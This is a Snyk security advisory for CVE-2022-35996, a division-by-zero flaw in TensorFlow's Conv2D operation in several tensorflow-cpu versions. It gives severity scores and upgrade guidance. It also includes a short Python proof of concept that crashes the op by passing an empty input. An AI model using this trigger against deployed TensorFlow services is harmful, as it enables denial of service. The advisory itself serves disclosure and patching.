Division by zero Affecting tensorflow-cpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)
Snyk CVSS
Attack Complexity
Low
User Interaction
Required
Availability
High
Threat Intelligence
EPSS
0.08% (35th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3026789
- published 18 Sep 2022
- disclosed 18 Sep 2022
- credit Unknown
Introduced: 18 Sep 2022
CVE-2022-35996 Open this link in a new tabHow to fix?
Upgrade tensorflow-cpu to version 2.7.2, 2.8.1, 2.9.1 or higher.
Overview
tensorflow-cpu is a machine learning framework.
Affected versions of this package are vulnerable to Division by zero when Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros.
PoC:
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
input = np.ones([1, 0, 2, 1])
filter = np.ones([1, 1, 1, 1])
strides = ([1, 1, 1, 1])
padding = "EXPLICIT"
explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
data_format = "NHWC"
res = tf.raw_ops.Conv2D(
input=input,
filter=filter,
strides=strides,
padding=padding,
explicit_paddings=explicit_paddings,
data_format=data_format,
)